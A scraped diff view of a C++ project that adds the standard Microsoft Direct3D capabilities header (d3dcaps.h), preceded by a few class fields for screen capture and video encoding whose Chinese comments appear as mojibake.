LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
|
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
|
||||||
void Destroy();
|
void Destroy();
|
||||||
|
|||||||
1696
client/d3d/d3d.h
Normal file
609
client/d3d/d3dcaps.h
Normal file
@@ -0,0 +1,609 @@
|
|||||||
|
/*==========================================================================;
|
||||||
|
*
|
||||||
|
* Copyright (C) Microsoft Corporation. All Rights Reserved.
|
||||||
|
*
|
||||||
|
* File: d3dcaps.h
|
||||||
|
* Content: Direct3D capabilities include file
|
||||||
|
*
|
||||||
|
***************************************************************************/
|
||||||
|
|
||||||
|
#include <winapifamily.h>
|
||||||
|
|
||||||
|
#pragma region Desktop Family
|
||||||
|
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||||
|
|
||||||
|
#ifndef _D3DCAPS_H
|
||||||
|
#define _D3DCAPS_H
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Pull in DirectDraw include file automatically:
|
||||||
|
*/
|
||||||
|
#include "ddraw.h"
|
||||||
|
|
||||||
|
#ifndef DIRECT3D_VERSION
|
||||||
|
#define DIRECT3D_VERSION 0x0700
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_X86_) || defined(_IA64_)
|
||||||
|
#pragma pack(4)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Description of capabilities of transform */
|
||||||
|
|
||||||
|
typedef struct _D3DTRANSFORMCAPS {
|
||||||
|
DWORD dwSize;
|
||||||
|
DWORD dwCaps;
|
||||||
|
} D3DTRANSFORMCAPS, *LPD3DTRANSFORMCAPS;
|
||||||
|
|
||||||
|
#define D3DTRANSFORMCAPS_CLIP 0x00000001L /* Will clip whilst transforming */
|
||||||
|
|
||||||
|
/* Description of capabilities of lighting */
|
||||||
|
|
||||||
|
typedef struct _D3DLIGHTINGCAPS {
|
||||||
|
DWORD dwSize;
|
||||||
|
DWORD dwCaps; /* Lighting caps */
|
||||||
|
DWORD dwLightingModel; /* Lighting model - RGB or mono */
|
||||||
|
DWORD dwNumLights; /* Number of lights that can be handled */
|
||||||
|
} D3DLIGHTINGCAPS, *LPD3DLIGHTINGCAPS;
|
||||||
|
|
||||||
|
#define D3DLIGHTINGMODEL_RGB 0x00000001L
|
||||||
|
#define D3DLIGHTINGMODEL_MONO 0x00000002L
|
||||||
|
|
||||||
|
#define D3DLIGHTCAPS_POINT 0x00000001L /* Point lights supported */
|
||||||
|
#define D3DLIGHTCAPS_SPOT 0x00000002L /* Spot lights supported */
|
||||||
|
#define D3DLIGHTCAPS_DIRECTIONAL 0x00000004L /* Directional lights supported */
|
||||||
|
#if(DIRECT3D_VERSION < 0x700)
|
||||||
|
#define D3DLIGHTCAPS_PARALLELPOINT 0x00000008L /* Parallel point lights supported */
|
||||||
|
#endif
|
||||||
|
#if(DIRECT3D_VERSION < 0x500)
|
||||||
|
#define D3DLIGHTCAPS_GLSPOT 0x00000010L /* GL syle spot lights supported */
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Description of capabilities for each primitive type */
|
||||||
|
|
||||||
|
typedef struct _D3DPrimCaps {
|
||||||
|
DWORD dwSize;
|
||||||
|
DWORD dwMiscCaps; /* Capability flags */
|
||||||
|
DWORD dwRasterCaps;
|
||||||
|
DWORD dwZCmpCaps;
|
||||||
|
DWORD dwSrcBlendCaps;
|
||||||
|
DWORD dwDestBlendCaps;
|
||||||
|
DWORD dwAlphaCmpCaps;
|
||||||
|
DWORD dwShadeCaps;
|
||||||
|
DWORD dwTextureCaps;
|
||||||
|
DWORD dwTextureFilterCaps;
|
||||||
|
DWORD dwTextureBlendCaps;
|
||||||
|
DWORD dwTextureAddressCaps;
|
||||||
|
DWORD dwStippleWidth; /* maximum width and height of */
|
||||||
|
DWORD dwStippleHeight; /* of supported stipple (up to 32x32) */
|
||||||
|
} D3DPRIMCAPS, *LPD3DPRIMCAPS;
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwMiscCaps */
|
||||||
|
|
||||||
|
#define D3DPMISCCAPS_MASKPLANES 0x00000001L
|
||||||
|
#define D3DPMISCCAPS_MASKZ 0x00000002L
|
||||||
|
#define D3DPMISCCAPS_LINEPATTERNREP 0x00000004L
|
||||||
|
#define D3DPMISCCAPS_CONFORMANT 0x00000008L
|
||||||
|
#define D3DPMISCCAPS_CULLNONE 0x00000010L
|
||||||
|
#define D3DPMISCCAPS_CULLCW 0x00000020L
|
||||||
|
#define D3DPMISCCAPS_CULLCCW 0x00000040L
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwRasterCaps */
|
||||||
|
|
||||||
|
#define D3DPRASTERCAPS_DITHER 0x00000001L
|
||||||
|
#define D3DPRASTERCAPS_ROP2 0x00000002L
|
||||||
|
#define D3DPRASTERCAPS_XOR 0x00000004L
|
||||||
|
#define D3DPRASTERCAPS_PAT 0x00000008L
|
||||||
|
#define D3DPRASTERCAPS_ZTEST 0x00000010L
|
||||||
|
#define D3DPRASTERCAPS_SUBPIXEL 0x00000020L
|
||||||
|
#define D3DPRASTERCAPS_SUBPIXELX 0x00000040L
|
||||||
|
#define D3DPRASTERCAPS_FOGVERTEX 0x00000080L
|
||||||
|
#define D3DPRASTERCAPS_FOGTABLE 0x00000100L
|
||||||
|
#define D3DPRASTERCAPS_STIPPLE 0x00000200L
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0500)
|
||||||
|
#define D3DPRASTERCAPS_ANTIALIASSORTDEPENDENT 0x00000400L
|
||||||
|
#define D3DPRASTERCAPS_ANTIALIASSORTINDEPENDENT 0x00000800L
|
||||||
|
#define D3DPRASTERCAPS_ANTIALIASEDGES 0x00001000L
|
||||||
|
#define D3DPRASTERCAPS_MIPMAPLODBIAS 0x00002000L
|
||||||
|
#define D3DPRASTERCAPS_ZBIAS 0x00004000L
|
||||||
|
#define D3DPRASTERCAPS_ZBUFFERLESSHSR 0x00008000L
|
||||||
|
#define D3DPRASTERCAPS_FOGRANGE 0x00010000L
|
||||||
|
#define D3DPRASTERCAPS_ANISOTROPY 0x00020000L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
#define D3DPRASTERCAPS_WBUFFER 0x00040000L
|
||||||
|
#define D3DPRASTERCAPS_TRANSLUCENTSORTINDEPENDENT 0x00080000L
|
||||||
|
#define D3DPRASTERCAPS_WFOG 0x00100000L
|
||||||
|
#define D3DPRASTERCAPS_ZFOG 0x00200000L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwZCmpCaps, dwAlphaCmpCaps */
|
||||||
|
|
||||||
|
#define D3DPCMPCAPS_NEVER 0x00000001L
|
||||||
|
#define D3DPCMPCAPS_LESS 0x00000002L
|
||||||
|
#define D3DPCMPCAPS_EQUAL 0x00000004L
|
||||||
|
#define D3DPCMPCAPS_LESSEQUAL 0x00000008L
|
||||||
|
#define D3DPCMPCAPS_GREATER 0x00000010L
|
||||||
|
#define D3DPCMPCAPS_NOTEQUAL 0x00000020L
|
||||||
|
#define D3DPCMPCAPS_GREATEREQUAL 0x00000040L
|
||||||
|
#define D3DPCMPCAPS_ALWAYS 0x00000080L
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwSourceBlendCaps, dwDestBlendCaps */
|
||||||
|
|
||||||
|
#define D3DPBLENDCAPS_ZERO 0x00000001L
|
||||||
|
#define D3DPBLENDCAPS_ONE 0x00000002L
|
||||||
|
#define D3DPBLENDCAPS_SRCCOLOR 0x00000004L
|
||||||
|
#define D3DPBLENDCAPS_INVSRCCOLOR 0x00000008L
|
||||||
|
#define D3DPBLENDCAPS_SRCALPHA 0x00000010L
|
||||||
|
#define D3DPBLENDCAPS_INVSRCALPHA 0x00000020L
|
||||||
|
#define D3DPBLENDCAPS_DESTALPHA 0x00000040L
|
||||||
|
#define D3DPBLENDCAPS_INVDESTALPHA 0x00000080L
|
||||||
|
#define D3DPBLENDCAPS_DESTCOLOR 0x00000100L
|
||||||
|
#define D3DPBLENDCAPS_INVDESTCOLOR 0x00000200L
|
||||||
|
#define D3DPBLENDCAPS_SRCALPHASAT 0x00000400L
|
||||||
|
#define D3DPBLENDCAPS_BOTHSRCALPHA 0x00000800L
|
||||||
|
#define D3DPBLENDCAPS_BOTHINVSRCALPHA 0x00001000L
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwShadeCaps */
|
||||||
|
|
||||||
|
#define D3DPSHADECAPS_COLORFLATMONO 0x00000001L
|
||||||
|
#define D3DPSHADECAPS_COLORFLATRGB 0x00000002L
|
||||||
|
#define D3DPSHADECAPS_COLORGOURAUDMONO 0x00000004L
|
||||||
|
#define D3DPSHADECAPS_COLORGOURAUDRGB 0x00000008L
|
||||||
|
#define D3DPSHADECAPS_COLORPHONGMONO 0x00000010L
|
||||||
|
#define D3DPSHADECAPS_COLORPHONGRGB 0x00000020L
|
||||||
|
|
||||||
|
#define D3DPSHADECAPS_SPECULARFLATMONO 0x00000040L
|
||||||
|
#define D3DPSHADECAPS_SPECULARFLATRGB 0x00000080L
|
||||||
|
#define D3DPSHADECAPS_SPECULARGOURAUDMONO 0x00000100L
|
||||||
|
#define D3DPSHADECAPS_SPECULARGOURAUDRGB 0x00000200L
|
||||||
|
#define D3DPSHADECAPS_SPECULARPHONGMONO 0x00000400L
|
||||||
|
#define D3DPSHADECAPS_SPECULARPHONGRGB 0x00000800L
|
||||||
|
|
||||||
|
#define D3DPSHADECAPS_ALPHAFLATBLEND 0x00001000L
|
||||||
|
#define D3DPSHADECAPS_ALPHAFLATSTIPPLED 0x00002000L
|
||||||
|
#define D3DPSHADECAPS_ALPHAGOURAUDBLEND 0x00004000L
|
||||||
|
#define D3DPSHADECAPS_ALPHAGOURAUDSTIPPLED 0x00008000L
|
||||||
|
#define D3DPSHADECAPS_ALPHAPHONGBLEND 0x00010000L
|
||||||
|
#define D3DPSHADECAPS_ALPHAPHONGSTIPPLED 0x00020000L
|
||||||
|
|
||||||
|
#define D3DPSHADECAPS_FOGFLAT 0x00040000L
|
||||||
|
#define D3DPSHADECAPS_FOGGOURAUD 0x00080000L
|
||||||
|
#define D3DPSHADECAPS_FOGPHONG 0x00100000L
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwTextureCaps */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Perspective-correct texturing is supported
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_PERSPECTIVE 0x00000001L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Power-of-2 texture dimensions are required
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_POW2 0x00000002L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Alpha in texture pixels is supported
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_ALPHA 0x00000004L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Color-keyed textures are supported
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_TRANSPARENCY 0x00000008L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* obsolete, see D3DPTADDRESSCAPS_BORDER
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_BORDER 0x00000010L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Only square textures are supported
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_SQUAREONLY 0x00000020L
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
/*
|
||||||
|
* Texture indices are not scaled by the texture size prior
|
||||||
|
* to interpolation.
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_TEXREPEATNOTSCALEDBYSIZE 0x00000040L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Device can draw alpha from texture palettes
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_ALPHAPALETTE 0x00000080L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Device can use non-POW2 textures if:
|
||||||
|
* 1) D3DTEXTURE_ADDRESS is set to CLAMP for this texture's stage
|
||||||
|
* 2) D3DRS_WRAP(N) is zero for this texture's coordinates
|
||||||
|
* 3) mip mapping is not enabled (use magnification filter only)
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_NONPOW2CONDITIONAL 0x00000100L
|
||||||
|
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0700)
|
||||||
|
|
||||||
|
// 0x00000200L unused
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Device can divide transformed texture coordinates by the
|
||||||
|
* COUNTth texture coordinate (can do D3DTTFF_PROJECTED)
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_PROJECTED 0x00000400L
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Device can do cubemap textures
|
||||||
|
*/
|
||||||
|
#define D3DPTEXTURECAPS_CUBEMAP 0x00000800L
|
||||||
|
|
||||||
|
#define D3DPTEXTURECAPS_COLORKEYBLEND 0x00001000L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwTextureFilterCaps */
|
||||||
|
|
||||||
|
#define D3DPTFILTERCAPS_NEAREST 0x00000001L
|
||||||
|
#define D3DPTFILTERCAPS_LINEAR 0x00000002L
|
||||||
|
#define D3DPTFILTERCAPS_MIPNEAREST 0x00000004L
|
||||||
|
#define D3DPTFILTERCAPS_MIPLINEAR 0x00000008L
|
||||||
|
#define D3DPTFILTERCAPS_LINEARMIPNEAREST 0x00000010L
|
||||||
|
#define D3DPTFILTERCAPS_LINEARMIPLINEAR 0x00000020L
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
/* Device3 Min Filter */
|
||||||
|
#define D3DPTFILTERCAPS_MINFPOINT 0x00000100L
|
||||||
|
#define D3DPTFILTERCAPS_MINFLINEAR 0x00000200L
|
||||||
|
#define D3DPTFILTERCAPS_MINFANISOTROPIC 0x00000400L
|
||||||
|
|
||||||
|
/* Device3 Mip Filter */
|
||||||
|
#define D3DPTFILTERCAPS_MIPFPOINT 0x00010000L
|
||||||
|
#define D3DPTFILTERCAPS_MIPFLINEAR 0x00020000L
|
||||||
|
|
||||||
|
/* Device3 Mag Filter */
|
||||||
|
#define D3DPTFILTERCAPS_MAGFPOINT 0x01000000L
|
||||||
|
#define D3DPTFILTERCAPS_MAGFLINEAR 0x02000000L
|
||||||
|
#define D3DPTFILTERCAPS_MAGFANISOTROPIC 0x04000000L
|
||||||
|
#define D3DPTFILTERCAPS_MAGFAFLATCUBIC 0x08000000L
|
||||||
|
#define D3DPTFILTERCAPS_MAGFGAUSSIANCUBIC 0x10000000L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwTextureBlendCaps */
|
||||||
|
|
||||||
|
#define D3DPTBLENDCAPS_DECAL 0x00000001L
|
||||||
|
#define D3DPTBLENDCAPS_MODULATE 0x00000002L
|
||||||
|
#define D3DPTBLENDCAPS_DECALALPHA 0x00000004L
|
||||||
|
#define D3DPTBLENDCAPS_MODULATEALPHA 0x00000008L
|
||||||
|
#define D3DPTBLENDCAPS_DECALMASK 0x00000010L
|
||||||
|
#define D3DPTBLENDCAPS_MODULATEMASK 0x00000020L
|
||||||
|
#define D3DPTBLENDCAPS_COPY 0x00000040L
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0500)
|
||||||
|
#define D3DPTBLENDCAPS_ADD 0x00000080L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||||
|
|
||||||
|
/* D3DPRIMCAPS dwTextureAddressCaps */
|
||||||
|
#define D3DPTADDRESSCAPS_WRAP 0x00000001L
|
||||||
|
#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
|
||||||
|
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0500)
|
||||||
|
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
|
||||||
|
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
|
||||||
|
/* D3DDEVICEDESC dwStencilCaps */
|
||||||
|
|
||||||
|
#define D3DSTENCILCAPS_KEEP 0x00000001L
|
||||||
|
#define D3DSTENCILCAPS_ZERO 0x00000002L
|
||||||
|
#define D3DSTENCILCAPS_REPLACE 0x00000004L
|
||||||
|
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
|
||||||
|
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
|
||||||
|
#define D3DSTENCILCAPS_INVERT 0x00000020L
|
||||||
|
#define D3DSTENCILCAPS_INCR 0x00000040L
|
||||||
|
#define D3DSTENCILCAPS_DECR 0x00000080L
|
||||||
|
|
||||||
|
/* D3DDEVICEDESC dwTextureOpCaps */
|
||||||
|
|
||||||
|
#define D3DTEXOPCAPS_DISABLE 0x00000001L
|
||||||
|
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
|
||||||
|
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
|
||||||
|
#define D3DTEXOPCAPS_MODULATE 0x00000008L
|
||||||
|
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
|
||||||
|
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
|
||||||
|
#define D3DTEXOPCAPS_ADD 0x00000040L
|
||||||
|
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
|
||||||
|
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
|
||||||
|
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
|
||||||
|
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
|
||||||
|
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
|
||||||
|
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
|
||||||
|
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
|
||||||
|
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
|
||||||
|
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
|
||||||
|
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
|
||||||
|
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
|
||||||
|
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
|
||||||
|
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
|
||||||
|
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
|
||||||
|
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
|
||||||
|
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
|
||||||
|
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
|
||||||
|
|
||||||
|
/* D3DDEVICEDESC dwFVFCaps flags */
|
||||||
|
|
||||||
|
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
|
||||||
|
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
|
||||||
|
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Description for a device.
|
||||||
|
* This is used to describe a device that is to be created or to query
|
||||||
|
* the current device.
|
||||||
|
*/
|
||||||
|
typedef struct _D3DDeviceDesc {
|
||||||
|
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
|
||||||
|
DWORD dwFlags; /* Indicates which fields have valid data */
|
||||||
|
D3DCOLORMODEL dcmColorModel; /* Color model of device */
|
||||||
|
DWORD dwDevCaps; /* Capabilities of device */
|
||||||
|
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
|
||||||
|
BOOL bClipping; /* Device can do 3D clipping */
|
||||||
|
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
|
||||||
|
D3DPRIMCAPS dpcLineCaps;
|
||||||
|
D3DPRIMCAPS dpcTriCaps;
|
||||||
|
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||||
|
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||||
|
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
|
||||||
|
DWORD dwMaxVertexCount; /* Maximum vertex count */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0500)
|
||||||
|
// *** New fields for DX5 *** //
|
||||||
|
|
||||||
|
// Width and height caps are 0 for legacy HALs.
|
||||||
|
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||||
|
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||||
|
DWORD dwMinStippleWidth, dwMaxStippleWidth;
|
||||||
|
DWORD dwMinStippleHeight, dwMaxStippleHeight;
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
// New fields for DX6
|
||||||
|
DWORD dwMaxTextureRepeat;
|
||||||
|
DWORD dwMaxTextureAspectRatio;
|
||||||
|
DWORD dwMaxAnisotropy;
|
||||||
|
|
||||||
|
// Guard band that the rasterizer can accommodate
|
||||||
|
// Screen-space vertices inside this space but outside the viewport
|
||||||
|
// will get clipped properly.
|
||||||
|
D3DVALUE dvGuardBandLeft;
|
||||||
|
D3DVALUE dvGuardBandTop;
|
||||||
|
D3DVALUE dvGuardBandRight;
|
||||||
|
D3DVALUE dvGuardBandBottom;
|
||||||
|
|
||||||
|
D3DVALUE dvExtentsAdjust;
|
||||||
|
DWORD dwStencilCaps;
|
||||||
|
|
||||||
|
DWORD dwFVFCaps;
|
||||||
|
DWORD dwTextureOpCaps;
|
||||||
|
WORD wMaxTextureBlendStages;
|
||||||
|
WORD wMaxSimultaneousTextures;
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0700)
|
||||||
|
typedef struct _D3DDeviceDesc7 {
|
||||||
|
DWORD dwDevCaps; /* Capabilities of device */
|
||||||
|
D3DPRIMCAPS dpcLineCaps;
|
||||||
|
D3DPRIMCAPS dpcTriCaps;
|
||||||
|
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||||
|
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||||
|
|
||||||
|
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||||
|
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||||
|
|
||||||
|
DWORD dwMaxTextureRepeat;
|
||||||
|
DWORD dwMaxTextureAspectRatio;
|
||||||
|
DWORD dwMaxAnisotropy;
|
||||||
|
|
||||||
|
D3DVALUE dvGuardBandLeft;
|
||||||
|
D3DVALUE dvGuardBandTop;
|
||||||
|
D3DVALUE dvGuardBandRight;
|
||||||
|
D3DVALUE dvGuardBandBottom;
|
||||||
|
|
||||||
|
D3DVALUE dvExtentsAdjust;
|
||||||
|
DWORD dwStencilCaps;
|
||||||
|
|
||||||
|
DWORD dwFVFCaps;
|
||||||
|
DWORD dwTextureOpCaps;
|
||||||
|
WORD wMaxTextureBlendStages;
|
||||||
|
WORD wMaxSimultaneousTextures;
|
||||||
|
|
||||||
|
DWORD dwMaxActiveLights;
|
||||||
|
D3DVALUE dvMaxVertexW;
|
||||||
|
GUID deviceGUID;
|
||||||
|
|
||||||
|
WORD wMaxUserClipPlanes;
|
||||||
|
WORD wMaxVertexBlendMatrices;
|
||||||
|
|
||||||
|
DWORD dwVertexProcessingCaps;
|
||||||
|
|
||||||
|
DWORD dwReserved1;
|
||||||
|
DWORD dwReserved2;
|
||||||
|
DWORD dwReserved3;
|
||||||
|
DWORD dwReserved4;
|
||||||
|
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||||
|
|
||||||
|
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
|
||||||
|
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
|
||||||
|
|
||||||
|
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
|
||||||
|
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0700)
|
||||||
|
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||||
|
|
||||||
|
/* D3DDEVICEDESC dwFlags indicating valid fields */
|
||||||
|
|
||||||
|
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
|
||||||
|
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
|
||||||
|
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
|
||||||
|
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
|
||||||
|
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
|
||||||
|
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
|
||||||
|
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
|
||||||
|
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
|
||||||
|
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
|
||||||
|
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
|
||||||
|
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
|
||||||
|
|
||||||
|
/* D3DDEVICEDESC dwDevCaps flags */
|
||||||
|
|
||||||
|
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
|
||||||
|
/* for post-transform vertex data */
|
||||||
|
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
|
||||||
|
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
|
||||||
|
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
|
||||||
|
|
||||||
|
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
|
||||||
|
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
|
||||||
|
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
|
||||||
|
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
|
||||||
|
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
|
||||||
|
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0500)
|
||||||
|
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
|
||||||
|
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
|
||||||
|
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0600)
|
||||||
|
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
|
||||||
|
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
|
||||||
|
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
|
||||||
|
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||||
|
#if(DIRECT3D_VERSION >= 0x0700)
|
||||||
|
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
|
||||||
|
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
|
||||||
|
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* device can do texgen */
|
||||||
|
#define D3DVTXPCAPS_TEXGEN 0x00000001L
|
||||||
|
